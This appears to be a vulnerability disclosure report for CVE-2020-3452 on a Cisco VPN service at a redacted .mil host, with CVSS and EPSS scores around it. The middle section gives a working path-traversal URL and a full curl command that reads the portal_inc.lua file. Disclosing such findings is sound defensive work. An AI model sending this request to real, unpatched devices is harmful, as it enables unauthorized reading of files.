7.5 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
5 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
0.975 High
EPSS
Percentile
100.0%
Hi team.
The Cisco VPN Service at ██████.mil
is vulnerable to the CVE-2020-3452 vulnerability, which allows path traversing within the web service’s file system on the targeted device.
Make a GET request to:
https://███████.mil/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../
cURL command:
curl -i -s -k -X $'GET' \
-H $'Host: █████.mil' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Referer: https://█████.mil/+CSCOE+/logon.html?fcadbadd=1' -H $'DNT: 1' -H $'Connection: close' -H $'Cookie: webvpnlogin=1; webvpnLang=en' -H $'Upgrade-Insecure-Requests: 1' \
-b $'webvpnlogin=1; webvpnLang=en' \
$'https://███.mil/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../'
…and get the content of the portal_inc.lua
file.
███████
According to Cisco, this vulnerability cannot be used to obtain access to ASA or FTD system files or underlying operating system (OS) files, however, it has a CVE 7.5 (High) score.
7.5 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
5 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
0.975 High
EPSS
Percentile
100.0%